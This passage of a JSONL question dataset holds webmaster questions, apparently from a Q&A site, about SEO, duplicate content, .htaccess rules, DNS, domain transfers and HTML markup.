format. What is the domain key? and would it send emails to spam? Can anyone tell why these emails are being sent to spam? Even the basic Contact Form 7 Wordpress plugin is sending emails straight to spam."}
{"id":"57736","title":"Are there any length limitations for image alt or title property?","text":"I'd like to insert an image on a webpage with an `alt` property. But the text length I'd like to use for this `alt` property is pretty long: about 200 words (slightly less than 1000 characters). Moreover this text has some line breaks. I have some doubts that such a long `alt` property won't be appreciated by search engines. So do I need to follow some guidelines regarding the length of an `alt` property? I have the same question regarding the `title` property."}
{"id":"23858","title":"Is it a good practice to use Gmail, Yahoo Mail & Hotmail addresses for registration?","text":"I am designing a website in which clients should register to use some specific services, and I am trying to prevent temp mails, or mails from personal domain. The question is that is this a good practice to use Gmail, Yahoo mail, Hotmail and some other well-known mail services? Do you have a domain in which you implemented registration system? If the answer is positive, do we have people from other mail services? (how many?)"}
{"id":"27166","title":"Developing a new site over an existing site. How do I do this with WordPress?","text":"Let's say I have an ecommerce site that is already up and functioning, www.widgets.com but I don't like the shopping cart that I got with the host and instead want to use Wordpress and a Wordpress shopping cart plugin. I don't want the site that is up to come down but I would like to develop the Wordpress site on the same host account and same domain. Is that possible? Once the Wordpress site is all developed, how do I make it the root site?"}
{"id":"65622","title":"Is it allowed to use Like button for another page?","text":"According this thread it is possible to place Like button on some page, while the like button gives \"like\" to another page. But is it allowed officially? Aren't there any sanctions from Facebook if I like page from another page? On documentation page for Like button, there is mentioned that I can set \"href\" parameter, for example \"href\" parameter can be set to my Facebook fan page. But there is no mention that I can use this parameter widely for any page. Can I think, that when it is not forbidden, it is as allowed? I would need to use Like button, so users likes another page (on the same domain) then the current URL."}
{"id":"29879","title":"Our website was copied 100% and mirrored on a different domain","text":"One of our websites was copied word for word all 400 pages by someone who used a special program to clone the site. We saw the program in the code. This was done in early April and soon after that we lost a lot of rank in Google. We just discovered the copied site today. It is mirrorred 100%. We did change the front page of our site since then to make some differences but since the Penguin update, we still have not recovered. We have also corrected the problems in Webmaster Tools. Will the mirrored site affect our Google rank to a severe degree or are there other issues that are affecting us? What can be done about that mirrored site?"}
{"id":"65795","title":"Website copying our content SEO impact","text":"Our company has a large dealer network across the US and Canada. We take an additional 25% off the products if they list our products on their website which most people do. We use to hand out code for a complete website so they could just upload it to a server change the contact numbers and be done with a site. Also we handed out snippets of our product page code that will hotlink the images from our server and provide them with a description for each product. Now there is no telling how many dealers have this exact same content on their site, possibly hundreds. I was poking around by searching a string of text that is on our website and it brought up a dealers website before ours. After investigation they have copied almost all the text from our website and placed it on theirs, from our FAQ's, testimonials, resource links, about, etc. How bad is this for our own SEO? We are currently under a manual penalty for purchased back links so our search results may be diminished already, but we do not have a duplicate content penalty. The back links were before my time at the company and so were the dealer website kits. I am the new web developer at the company and was put in charge of SEO also, something I know very little about but am learning as I go. I think we are possibly headed down a destructive path as far as SEO goes by continuing this practice. We are currently rebuilding our site from the ground up, new product descriptions, images, info, etc. So I feel this should help us out with the duplicate content if it is an issue."}
{"id":"65453","title":"How to deal with a site that has plagiarized mine?","text":"I have an established blog that has been putting out content for a year. Today I noticed that somebody has cloned my entire website, word-for-word, and hosted it on a separate domain. When I say cloned, I mean you could put them side-by-side and they would look identical, so everything has been copied, including content, layout, etc. I looked at the source and the HTML has been copied verbatim. The new domain has only been registered a few weeks ago. Unfortunately the copied site is now outranking my real site on a few keywords in google search results! On some keywords the fake site has taken my place on the first page of the search results, and my site is no longer even listed! What can I do about this? **Update:** I filed a DCMA complaint with Google. **Update:** I just discovered that he is just using his site as a proxy to access mine. I can block his IP from accessing my site which would effectively solve the problem (maybe only temporarily?), but then what happens when Google investigates the DCMA and finds nothing?"}
{"id":"282","title":"How do I setup authentication on a specific folder using .htaccess?","text":"I have a folder that I want to host files privately on my webserver. How do I go about making it password protected using .htaccess? _Note: Nothing monolithic, I want something that is simple\/easy so setup so me and a few colleagues can download a few files._"}
{"id":"16284","title":"What payment gateways do real customers really use when given the choice?","text":"I would like to give customers the option of paying however they can whether that be through a proper gateway (e.g. SagePay) or through something else such as PayPal, Amazon Checkout or Google Checkout. Personally I have not bought anything through the Amazon Checkout except for on Amazon.co.uk and my PayPal buys have been limited. As for Google Checkout I have no idea what that is or how it works from a consumer perspective. I understand that people buying from smaller sites are happier to pay by PayPal as they have an account already and trust PayPal. As for Amazon Payments and Google Checkout, do people actually use them if given the choice? There are a lot of people on Kindles these days, happy to buy stuff via Amazon on their Kindle. Would Amazon Payments make sense to this growing crowd? With too many payment gateways on offer it might be confusing at the checkout. Does anyone know if this is a problem for genuine customers? I also have not seen many 'pay by Amazon Payments' icons on websites (you see PayPal all the time). Does advertising the fact that you can pay by Amazon Payments increase sales, e.g. to Kindle owners that have a nebulous book- buying account that 'their other half doesn't know about'?"}
{"id":"55590","title":"Googlebot received Access Denied when crawling a directory","text":"I'm facing the same problem with Googlebot not able to crawl my page. Mine problem doesn't have anything to do with `www` or not. Google can crawl all my pages except one directory and this directory contains all images, no code. (I have other images directory and Googlebot can crawl fine). When checking Google Webmaster Tools for Crawl Error, the directory which Googlebot couldn't crawl and yield \"Access Denied\" error is: http:\/\/www.artistviewpoint.com\/picture-to-painting\/pictures\/samples\/. Reading the guide from Google, I have already checked my _robots.txt_ file and there is no log-in authentication of any sort. The only remaining tips which Google provide is to check the hosting provider or authentication using proxy which I do not know how to check."}
{"id":"52010","title":"Does using WordPress alongside my CMS violate any search engine guidelines?","text":"I created my own CMS for my website, so it doesn't use any general CMS. I don't have a blog right now but I plan to use WordPress core to build one (like `www.myweb.com\/blog`). I will have two admin pages: one for my website & another for just my blog. I have no time to create my own blog system because it's a complex system for comments, image uploads, and categories. So for faster development, I will just create a theme and use WP core for the CMS. Will my plan violate any search engine's terms or rules for SEO? Do Google, Bing, Yahoo, Soso, or Yandex advise against this?"}
{"id":"56020","title":"Creating a new 200 OK page on an address that previously served a 301 redirect?","text":"Let's say I create a page `aaa.htm`; after some time it gets removed in favor of `bbb.htm`. At this point `aaa.htm` responds with a 301 redirect to `bbb.htm`. Now again, after some more amount of time, I create a new `aaa.htm` file again that now responds with status 200. Is this practice bad?"}
{"id":"49809","title":"Combining hreflang links, canonical tags and xml:lang on multilingual, multiregional and multi-subdomains websites?","text":"I have a multilingual and multiregional (using different subdomains) website and I'm not sure how to handle those 3 elements. To summarize here are the hreflang links that I generate on each page (internal page here): <link href=\"http:\/\/mywebsite.com\/\" rel=\"alternate\" hreflang=\"x-default\" title=\"International\" \/> <link href=\"http:\/\/uk.mywebsite.com\/internal-page\" rel=\"alternate\" hreflang=\"en-GB\" title=\"Internal page\"> <link href=\"http:\/\/fr.mywebsite.com\/fr\/page-interne\" rel=\"alternate\" hreflang=\"fr\" title=\"Page interne\"> <link href=\"http:\/\/be.mywebsite.com\/fr\/page-interne\" rel=\"alternate\" hreflang=\"fr-BE\" title=\"Page interne\"> <link href=\"http:\/\/be.mywebsite.com\/nl-be\/interne-pagina\" rel=\"alternate\" hreflang=\"nl-BE\" title=\"Interne pagina\"> <link href=\"http:\/\/nl.mywebsite.com\/nl\/interne-pagina\" rel=\"alternate\" hreflang=\"nl\" title=\"Interne pagina\"> <link href=\"http:\/\/it.mywebsite.com\/it\/pagina-interna\" rel=\"alternate\" hreflang=\"it\" title=\"Pagina interna\"> <link href=\"http:\/\/ch.mywebsite.com\/de\/internen-seite\" rel=\"alternate\" hreflang=\"de-CH\" title=\"Internen Seite\"> <link href=\"http:\/\/ch.mywebsite.com\/fr\/page-interne\" rel=\"alternate\" hreflang=\"fr-CH\" title=\"Page interne\"> Where the default domain (`http:\/\/mywebsite.com\/`) isn't a country selector dedicated page (although there is a country-language selector on top of the page). It is in fact our international version of the website that contains only english content. 1. Are the above links correct? and is the title attribute relevant\/useless or wrong? 2. Canonical tags are absolute links. E.g. in an internal page of Italian domain in italian language. `<link rel=\"canonical\" href=\"http:\/\/it.mywebsite.com\/it\/pagina-interna\">` 3. I use XHTML 1.0. What values should I use on `xml:lang` attributes on the HTML tag?"}
{"id":"28076","title":"Domain transfer and New Hosting Management","text":"I wanted to migrate from my older registrar to GoDaddy. Main reason because current registrar\/hosting provider doesn't support **.NET**. My old registrar gave me control over the domain and hosting account. So, basically I have everything I would need. ( I know theory only ) I applied for Transfer of domain, bought a hosting package from GoDaddy and uploaded new web site. So, I am waiting for domain transfer and it tells me that I have to wait for 5-7 days for approval. Okay. But today, my old registrar told\/taunted me that I really didn't need to apply for transfer. What could possibly I have done differently? My domain expires on this 15th. Now I don't know much about how all of this really works, but I am guessing he meant, \" ** _you should have waited for 15 days and let it expire after which you should buy the domain as it is expired_** \". **Is it really so** (I doubt) or **there are some other ways I could have got same result but without transferring domain**? (like, changing DNS entries) I have read like all of the documentation available on namecheap\/GoDaddy\/Whois about domain transfers. But maybe because I am new to this it is all confusing to me. I would also like to know what to do with DNS settings after transfer succeeds. I want to kill the old website. So, **what nameserver settings I need to change, new one or old one or both?** I have **old host+old domain registrar + old working site** on one hand, on the other hand, **new site + pending domain transfer + new DNS settings**."}
{"id":"36212","title":"How can I prevent another site from trying to phish my customers by cloning the look and feel of my site?","text":"I have a site hosted on Godaddy. Recently, another site _that I don't control_ has copied the look and feel of my site. They look exactly like my site, except the domains are different.. Godaddy's staff said there is nothing they can do to prevent that site cloning the look and feel of my site. Is there anything I can do to stop another site from effectively cloning my site? How can I keep my customers from being duped by this?"}
{"id":"25109","title":"What is an easy way for disabling a file temporary?","text":"Say I have a file called debug.php and I want to use it only when I am testing scripts. * How can I disable the file securely? I'm used to change it to a txt file. But I wonder what other users think is the best method."}
{"id":"25108","title":"Is it possible to create a logo for your web application for Windows Phone, just like for iOS?","text":"We can create logos and have iOS and Android recognize these by using <link rel=\"apple-touch-icon-precomposed\" href=\"image.png\" \/> Is there a way to create a logo and include it so that it can be used in Windows Phone as well?"}
{"id":"25105","title":"How do you generally find out the riskiness of a domain name? (concerning trademarks)","text":"My domain would look like \"tiltblah.com\". I don't want to mention the real domain name here, because it might be registered by someone else then. I'd like to register this domain, because I want to create a website with about PC games. I've searched the US and EU trademark databases and found trademark holders like \"Full Tilt\" and simmilar. Let's say my domain name goes like \"tiltfun.com\", and my website is about games, Full Tilt poker (ignoring the fact that they might be out of business) is about games too. This seems to be a risk to me. Same branch of trade & the word \"Tilt\" is used => risk? And if there's a trademark holder from a completely different branch of trade, dish washers or anything, owning the trademark \"Tilt\". Would they want to sue me? In Germany branch of trade is important. If it differs, simmillar domain name holders can peacefully coexist. I was never so cautios until there was somebody sued by BMW for using the word MINI and somebody in Germany was imho sued because he used a \"t-\" in his domain name. Deutsche Telekom owns \"T-\". In case this question is too specific, how do you generally find out the riskiness of a domain name?"}
{"id":"47906","title":"Unmanaged Ubuntu Server - What would I be getting myself into?","text":"I'm considering purchasing an unmanaged VPS with a Ubuntu 12.04 server to host smaller sites that aren't very important _yet_. My plan would be to install webadmin and basically administrate the hosting end that way. My question is: What am I getting myself into? I'm fairly comfortable with Ubuntu. I know enough to 'sudo apt-get update && sudo apt-get upgrade.' What else would I have to worry about aside from the usual keeping my scripts (mainly WordPress) up to date?"}
{"id":"46748","title":".htaccess Redirect based on subdomain","text":"I'm looking for some help in accomplishing redirects based on the subdomain. For example if some tries to access: > http:\/\/1.test.com it will redirect to: > \/file.php?test=something and if they go to: > http:\/\/2.test.com it will redirect to: > \/file.php?test=somethingelse I only need the root redirected, so if they go to: > http:\/\/1.test.com\/blah it will not redirect. I know the basics of creating htaccess files, I just can't seem to get it right for some reason to accomplish this. Any help is highly appreciated. Thanks. P.S. I should mention that all these subdomains point to the same document root."}
{"id":"23031","title":"Is there a good tool for HTML content generation by less technical stakeholders?","text":"I am the webmaster and everything else technical for a tiny startup company. Some static content is being written in MS-Word by stakeholders. What is the best process to get HTML content instead? They aren't married to MS-Word, and the content is pretty simple. Can someone recommend a simple HTML editor for this purpose? I can set up the initial document structure, they just need to modify or extend the content. I think it would simplest if they could do this offline, opening the HTML file in some Windows application, and then send me the updated file for installation. Later I will want them to be able to upload the content to the test site."}
{"id":"68882","title":"outsource help to convert my website for multiple platforms","text":"I am wanting to update my website for multiple platforms. I have tried to do the coding myself, but I just don't have the time or patience. I am looking for a inexpensive vendor who can do the coding at a one time cost. I have looked at several websites, but they all seem to be a continuous service. Can someone give me advice on some vendors who can help convert my website for a one time fee?"}
{"id":"24855","title":"Looking for a google search engine style html\/css template","text":"I'm looking for a google search engine style html\/css template, paid or unpaid, doesn't need to be exactly the same. Just sort of a minimal style search engine design template. Where can I find such templates?"}
{"id":"42596","title":"What are applications like IdeaBox called?","text":"I'm trying to figure out the generic name for systems that allows users to contribute with the development of new features. Kickass Torrents has a very interesting app in it's site named IdeaBox and it's divided in stages such as: suggestions, planned, in progress, completed. It has a voting feature for everyone with more than 100 reputation and that's pretty much all. I wanna look at opensource alternatives but that's not possible if I don't know how it's generically named."}
{"id":"2473","title":"in Web Design What format does Web Designer, Developer and Client prefer? Is it PSD, AI, EPS. or Firework's PNG","text":"I would assume that the answer would be Photoshop PSD, But It would just be a biased opinion. What are your thoughts? I recently find illustrator to be fast in position stuff, at the same time my elements are in vector (crisp and sharp). while in Photoshop, as my images\/elements grows, my layers also grows and the memory usage grows, Photoshop will then slow down. Making my overall workflow slowdown. So the idea for this is If I have some raster images that needs some Photoshop effect, I will just switch to Photoshop and finish that effect. then switch to illustrator and import that image to my whole design. Maybe it's just my workflow in Photoshop that isn't optimize thats why I find it very inefficient. I think this also goes with fireworks. I've used these 3 application for web design. I've had long relationship with Photoshop in terms of web design. Back to my question, what do you usually use for Web Design? and does it affect Designer,Developer and Client in your project?"}
{"id":"48377","title":"How much do reviews on Alexa matter","text":"Alexa has a star rating based on user reviews. How much do they matter in website rank (if they matter at all). If they don't matter why does Alexa have them, they are not a review website."}
{"id":"45215","title":"Is pyramid link building a good practice for SEO?","text":"Can someone help me to understand please? Is pyramid link building a to do practice for SEO? Does it work as per example below? Tier 3 pyramid building for SEO... * Tier 3 site, links to Tier 2 site... * Tier 2 site has _keyword_ links to profile site * Profile site has links to `http:\/\/yourdomain.com\/` Does Google associate the _keyword_ with your domain, thus ranking it higher within the search field?"}
{"id":"2478","title":"Forum with LDAP integration?","text":"Is there any popular forum software (installable, not hosted), that has LDAP integration for users? Ubuntu server, Python would be nice but not required, authentication only for now, although profiles would be nice at a later point"}
{"id":"36220","title":"Is there any way to prevent Googlebar from breaking Friendly 404s","text":"This might be considered a continuation of this question. If I output HTML after my 404 header, It displays properly in IE and FF unless the user has Google bar instaled. If I try header('HTTP\/1.x 404 Not Found'); header(\"Location: http:\/\/www.example.com\/?content=404_error\"); die(); then I'm getting 302 from the redirect. It seems to overrule the 404 Supposedly if your output is larger than 512 bytes, the toolbar isn't supposed to override the page, but It seems to do it anyway. I found a setting in Google's Toolbar that said \"Provide suggestions on navigation errors\". Turning that off provides me with the behaviour I want my visitors to experience. Does anyone know if Google provides a way for a developer to over-ride that setting for all visitors?"}
{"id":"7876","title":"Simple blogging platform","text":"I want to start and host my own blog. I have ideas for creating the website theme myself. However, I would prefer to not create the actual engine behind the blog -- comments, creating posts, caching everything, creating and managing the post database, spam protection or CAPTCHA of some sort... basic blog features. Honestly, I'm just hoping for something barebones that I can just do something like, `<?php include('comment_list.php'); ?>` where I want comments to show up on a post. Similar functions to that. (This is a little oversimplified, but hopefully it's understood what I'm getting at) This may be a little far-fetched. I'm not looking for the ability to have plugins, themes or user sessions and things of that nature. Just post creation, comment creation and caching are the big things I'm hoping for. I don't know if I can explain this any better. I'm just looking for the bare minimum."}
{"id":"28292","title":"I am looking for a script where users can create groups cms\/social interaction site","text":"I am trying to find a Content Mangement\/social interaction script that requires a person to be a part of a group. Specifically: My daughter is a cheerleader and there are a number of cheer groups she is involved in and also has friends in many others. A lot of them could use some kind of website where they can share information between their team members and coach. The coach being the controller of the group and who can join etc. \"Group Leader\"? One can only join the group if invited or given a password or some such security. There would be multipel groups or in this case multiple cheer squads who were registered as groups and the cheerleaders a part of their group. The coach or group leader would have control of the group calender and they may have their own calendars and be messaging between them and\/or other social interactions. IN a perfect world they could modify their own pages individualy. Communication could go globally or only to the group and a \"friends or buddy\" system. I think you get the idea. I really like OCportal and what it does and can do but it does not have the group funcitionality I am looking for. Perhaps I am just going to need to see about getting aprogrammer to write an add on for me if ther is nothing like this out there. But if you know of any I would appreciate being pointed in that direction."}
{"id":"39936","title":"Total Indexed 0, 99 not selected in webmaster tools","text":"I recently changed domain names from xxx.com to xxx.ca I created all the 301's submitted sitemaps and submitted a change of address to google webmaster tools on Dec 16th. I've since seen urls change in search results, and things seemed to be working, so I switched the site from drupal to wordpress with identical content with different page templates, etc. Organic traffic has dropped dramatically since the 19th. At first I thought it was the season, but the traffic should have rebounded by now. I took a look at the index status of the pages for the two domains and this is what I'm seeing for the old domain:  and this is what I'm seeing for the new domain:  any idea why the old site is showing up as indexed, while the new site is showing up as \"not selected\"? UPDATE: I ran some custom reports and isolated organic traffic in canada vs the US and it seems like canadian traffic has seen a slight uptick while US traffic has gone down dramatically. This is ok with us for the most part since this is a site for a clinic and we treat people in Canada. However... this still does not explain the distribution of which pages are indexed vs not."}
{"id":"55743","title":"Remove Lots of index pages from google bot from same directory.","text":"My question is about Google bot, seo and webmaster. may be this is not right place for ask, but if person not know so where he place his question he doesn't know!!! If you know my question's answer so please first give me answer,than mark my question like or dislike, i not depend on question likes. i want some knowledge. i think If stackoverflow allow to insert seo tag in question so this is right place.. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ I search and read many post for 1 month, but i can't find any help full material for my problem... In my website there is only 2000 pages, but when i search my site in google `site:collectioncoupons.com` google show me 9000 pages. 1 month agao i remove 1600 pages, and i want to remove all these pages, URL looks like that, domain.com\/store\/1 domain.com\/store\/2 domain.com\/store\/3 ... domain.com\/store\/2000 i want to remove pages from domain.com\/stores\/1 to domain.com\/stores\/1600 But how i remove all 1600 pages without removing stores directory? \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ one other problem with my index pages. when i search `site:collectioncoupons.com` google show 20pages. when i search `site:collectioncoupons.com\/out` then google show 300 pages that in \"out\" directory and same with other directories. Is this problem? why google not show all pages on home page. `site:collectioncoupons.com` \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Please tell me one more thing, when i search my domain with site: google show results 9,490  but i have only 2000 pages, so what are other 7,490 pages?"}
{"id":"13394","title":"A method to edit html email templates easily","text":"I'm designing and developing some html **email templates** for mass mailings. I was asked to provide an easy solution for a non-technical person to edit them safely and easily. I'm afraid conventional WYSIWYG editors can replace the \"old style\" code required for e-mail by more \"modern style\" code, not compatible with some e-mail clients. I will test the templates in the main mail clients, but it's not practical to ask this to be done every time they edit them. The person would not know how to fix them anyway. What do you recommend? I thought about building an html generator that would convert the data from a form into source code, but it seems that is a lot of work. **Note:** I can not change the email sending provider. (It's Silverpop.)"}
{"id":"16866","title":"Changing amounts on Authorize.NET\/Paypal recurring payments","text":"I'm writing a system that will bill people a certain recurring amount per month\/quarter\/year. During that period, the customer may earn credits against his next bill. The approach I'm considering is to alter the customer's billing amount before the next billing cycle, then adjust it back up after the cycle. The problem I'm anticipating is that I know (from personal experience) that PayPal doesn't allow you to adjust a recurring billing amount by more than 20 or 25% (I forget which). I haven't managed to get a clear answer from the developer forums on Auth.NET (my question here - nobody has answered in over 2 days), so I'm hoping one of the nice developers here on SO will have some experience dealing with PayPal and\/or Auth.NET, and can give me some pointers as to what the best approach is to deal with this. Also, what should I do if the customer upgrades his account to a package that's more than the allowed increase percentage? Should I kill his old profile and make him fill in his card\/PayPal details again? Or is there a way of doing this that obviates the need to make him pull out his credit card again?"}
{"id":"42628","title":"pagination and duplicate content with one paragraph in each page with totally different listing","text":"I have a module in my site which can be accessed like `sitename.com\/module\/` This module has pagination. In the first page i have two paragraphs which describe about the site. This will appear in all pages and pagination links can be crawled. So page 1 will have two para and a set of listing and page 2 will have the same para with totally different set of listing. So here the paragraph is duplicated were as the listing below the paragraph are nonidentical that is they are unique for all pages. Also the title tag and description are duplicated for all pages.... Assuming that I am adding page 2, page 3 to title tags and description... will it make a difference... will that too be considered duplicate content... (because only the words page 2 are page 3 is extra in the title and description of all pages... The rest of the title text ares same... like 'once upon a time page 1' for first page and once upon a time page 2 for the second page and so on. I assume to following to not to be penalized by search engines as duplicate. 1. I can make that paragraph appear only in first page and I can hide for all other pages 2. If I do the above then the title, description will be duplicate though I add extra text like 'page 2' in the title and description and in the content above the to para 3. Or instead of the above 2 points i can use canonical URL for pagination. **This this correct? besides my questions are:** 1. Can I have duplicate title tags while using canonical URL? 2. While using canonical URL and duplicate content in title with the string 'page 2'... will it makes a difference. for example the title is 'once there lived a king' and then other pages will have 'once there lived a king page 2', etc... 3. If using canonical URL can I have a paragraph in all pages or should I show it on only first page to prevent duplicate content. 4. Of I am not using canonical URL and showing the same static para in all pages with different listing and 'page 2', page 3 in title... will it become duplicate content? I hope this makes sense, if you find anything is confusing then please specify in comments so that i will update my question according to your suggestion."}
{"id":"35399","title":"setting up freedns with an existing domain","text":"I've been running a webserver off of a pc at a static IP successfully for the past 5 months. recently however, I've moved into another apartment and my ISP only provides a dynamic IP (my IP changes from time to time). I'm not an internet genius but I was thinking to fix this by using a Dynamic DNS provider. So I got on the web and found freedns. I'm a bit confused about how to set up everything though. I've managed to succesfully install the IP updater daemon on my web server. Then, in my registrars control panel, I set the `NS` records to point at `ns1` through `ns4.afraid.org` (removing the old `NS` records). I'm not certain what I should do with the `A` records though (for now they are still pointing to the old static IP address). I have `A` records for `www`, `blog`, `irc`, etc. but I cannot point them at my new IP address, because it isn't Could someone explain this in the clearest possible sense (perhaps elaborating on what happens at each step of the DNS process). I never really knew what the `A` records are for anyway. _(note that I haven't really found any documentation atthe freedns website, or on google)_"}
{"id":"6304","title":"Privacy policy generator","text":"Does anyone know of a all-in-one privacy policy generator that they have used and can recommend?"}
{"id":"6307","title":"Can\/should I nest the html abbr tag within a link?","text":"I link to my CV with the following: <li><a href=\"http:\/\/example.com\/cv\">CV<\/a><\/li> However, should I have\/would you recommend I have: <li><a href=\"http:\/\/example.com\/cv\"><abbr title=\"Curriculum vitae\">CV<\/abbr><\/a><\/li> Is the nesting of those tags ok to do\/semantically appropriate, etc. Thanks in advance!"}
{"id":"6306","title":"How did Google manage to crawl my 403 pages?","text":"I had a couple private files in a directory on my school folder. You could see that the files existed by going to myschool.edu\/myusername\/myfolder, but trying to access the files themselves via myschool.edu\/myusername\/myfolder\/myfile.html returns a 403 error. And yet Google somehow managed to grab the contents of those private files and store them in its cache! How is this possible? [I've since removed those files, so I'm just curious how Google managed to do this.]"}
{"id":"59849","title":"How to hide my XML Sitemap from competitors but not from search engines","text":"I want to hide my sitemap XML file from all but allow access from search engines. What is the way to do it? I want to hide the depth of site's content from competitors."}
{"id":"10137","title":"How to block access to a sub-site with mod_rewrite?","text":"Let's say I have the sites siteA.com and siteB.com. They are hosted such that siteB.com actually points to siteA.com\/siteB. How can I block someone from visiting siteA.com\/siteB using `mod_rewrite`? So far I've tried this to no avail (in root of siteA.com): RedirectMatch 301 ^\/siteB\/$ http:\/\/someothersite.com\/"}
{"id":"10130","title":"Backlinks and SEO","text":"Is the SEO value the same for backlinks coming from other pages within the same site and backlinks coming from another site? And is there a difference in value between a backlink coming from a site that has the same topic and a backlink coming from a site that has another topic Thanks."}
{"id":"63101","title":"Can I redirect a new domain to a specific pg without affecting that page's search standing?","text":"I want to redirect a new domaim (that has not been used before) to a specific page on a site which already has good standing in search results - I want to do this instead of forwarding because I need the redirect to land on a page which is neither the index page or the index for a subdomain. Is this possible to do this without affecting the good SEO status of the page that is being redirected to, and without that original page disappearing from the SERPs? The idea is to use another domain name as a marketing slogan which promotes traffic to the existing page without changing the original page's standing in SERPS, so I'm also wondering if BOTH URLs will appear in search results using different queries."}
{"id":"10422","title":"Crawling web to build a directory of a niche industry for SEO","text":"I heard that some web sites crawl web to build a directory of companies in a niche domain. So, when people search for the name of the company they find that directory page. I wonder if this is really effective? Isn't this considered as duplicate content since the presented information was collected from some web site?"}
{"id":"9647","title":"http:\/\/url works but www.url doesnt","text":"My website http:\/\/bakasura.in works fine. when i try to visit it via www.bakasura.in it doesnt work. What is the problem ?"}
{"id":"28299","title":"What is the html code for \"CE\" mark?","text":"I need to put http:\/\/en.wikipedia.org\/wiki\/CE_mark in some text in html, but I have not been able to find it in the character lookup tables. Is this symbol something similar to TM, Registered , Copy Right etc? if so does it have a html code?"}
{"id":"10427","title":"SSL Warranty - Meaningless?","text":"Lots of SSL seem to come with a warranty: Extended Validation, Green Address Bar 40-bit minimum to 256-bit encryption USD $100,000 warranty VeriSign Trust™ Seal and services Has anyone in history ever managed to claim on the warranty? Are they just a gimmick? Should it affect my purchasing choice?"}
{"id":"54941","title":"how to retrieve img alt text with jquery or javascript?","text":"Which is the code with which we can retreive alternative text of image: It is a Cataloge with clothes. Dressers, Shirts, Skirts e.t.c. in front page of a site. The featured images of the categories can be changed manually from someone. I did a check and it is asking me to give alt text. I did it to some images with alt=\"\". But to the cataloge I cannot do it. the code is below: <script type=\"text\/javascript\" src=\"http:\/\/www.google.com\/jsapi\"><\/script> <script type=\"text\/javascript\" src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.8.2\/jquery.min.js\"><\/script> <script type=\"text\/javascript\" src=\"http:\/\/ajax.googleapis.com\/ajax\/libs\/jqueryui\/1.9.0\/jquery-ui.min.js\"><\/script> {{ 'option_selection.js' | shopify_asset_url | script_tag }} {{ 'api.jquery.js' | shopify_asset_url | script_tag }} {% if template contains 'customers' %} {{ 'shopify_common.js' | shopify_asset_url | script_tag }} {{ 'customer_area.js' | shopify_asset_url | script_tag }} {% endif %} {% if settings.display_slideshow %}{{ 'jquery.slider.js' | asset_url | script_tag }}{% endif %} {% if settings.include_masonry %}{{ 'jquery.masonry.js' | asset_url | script_tag }}{% endif %} {% if settings.enable_product_image_zoom %}{{ 'jquery.zoom.js' | asset_url | script_tag }}{% endif %} {{ 'fancy.js' | asset_url | script_tag }} {{ 'shop.js' | asset_url | script_tag }} <script type=\"text\/javascript\"> Shopify.money_format = '{{ shop.money_format }}'; <\/script> {% if template contains \"product\" %} <script type=\"text\/javascript\"> jQuery(document).ready(function($){ {% if product.variants.size > 1 or product.options.size > 1 %} new Shopify.OptionSelectors(\"product-select\", { product: {{ product | json }}, onVariantSelected: selectCallback }); {% assign found_one_in_stock = false %} {% for variant in product.variants %} {% if variant.available and found_one_in_stock == false %} {% assign found_one_in_stock = true %} {% for option in product.options %} $('#product-select-option-' + {{ forloop.index0 }}).val({{ variant.options[forloop.index0] | json }}).trigger('change'); {% endfor %} {% endif %} {% endfor %} {% endif %} }); <\/script> <script> $(function() { $( \"#tabs\" ).tabs(); }); <\/script>"}
{"id":"18860","title":"How to enhance Google Talk to show a message when we are unavailable or add more than one user?","text":"I'm using Google Talk on my site to chat online with users. Is there any method to customize it such as showing a message form when we are unavailable or adding more than one user on it or any other facility?"}
{"id":"21758","title":"Rewrite rule not matching second level directory URL","text":"I have this .htaccess in a po_systems folder of my website # Set up mod_rewrite RewriteEngine on RewriteRule ^build_system\/([^\/]+)\/([^\/]+)\/?$ \/po_systems\/build_system.php?business_id=$1&system_id=$2 and when I visit the URL: http:\/\/somesite.localhost\/po_systems\/build_system\/61\/65F92751 the get variables are not displaying. I changed the rule to RewriteRule ^build_dfdsadsafas\/([^\/]+)\/([^\/]+)\/?$ \/po_systems\/build_system.php?business_id=$1&system_id=$2 to verify it was getting there and I still don't get the get variables, so I tried to add junk at the beginning to verify the htaccess is working sssRewriteRule ^build_system\/([^\/]+)\/([^\/]+)\/?$ \/po_systems\/build_system.php?business_id=$1&system_id=$2 and I got this Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. So basically my question is why is this rule RewriteRule ^build_system\/([^\/]+)\/([^\/]+)\/?$ \/po_systems\/build_system.php?business_id=$1&system_id=$2 is not working for catching this URL http:\/\/somesite.localhost\/po_systems\/build_system\/61\/65F92751d"}
{"id":"8951","title":"Simple CMS for clients?","text":"I'm looking for something fairly simple for clients to use and very easy for me to skin (somewhat complicated themes). something like Perch or Couchcms, but has to be open source to satisfy some license requirements.. I can't really seem to find any CMS that is like this {Wordpress, drupal etc are _way_ too heavy for this use} , really appreciated There aren't much requirements, anything will really work - each site gets their own jailed instance and stuff, just PHP\/MySQL"}
{"id":"18868","title":"Best Way to \"Launch\" A Site That's Being Developed","text":"I am currently developing a website that will be officially marketed for and \"launched\" months from now. This site has minimal content at the moment but will soon start having more and more content as i complete the development of various components. My question is this: In terms of search engine optimization is it best to release a site with TONS of pages, or release a site and demonstrate constant updates\/content additions?... And why? :) In the first scenario i would wait until launch\/market day and then turn the site on w\/o thousands of pages... In the second scenario, i would just develop\/release new features content as they come and on the \"official\" launch day start marketing the site"}
{"id":"33077","title":"How to optimize image in Google search if it is a background?","text":"I have many images, and for a pretty view and better css control I mark them up as <div style=\"background:url('image-url') no-repeat center center transparent; overflow:hidden; display:inline-block; width:150px; height:150px;\"><\/div> But as we know HTML allows adding `alt` to image tags for search optimization. How can I include \"alt text\" in a background situation? I have submitted an image sitemap to Google, which includes all these image's URLs and page URLs."}
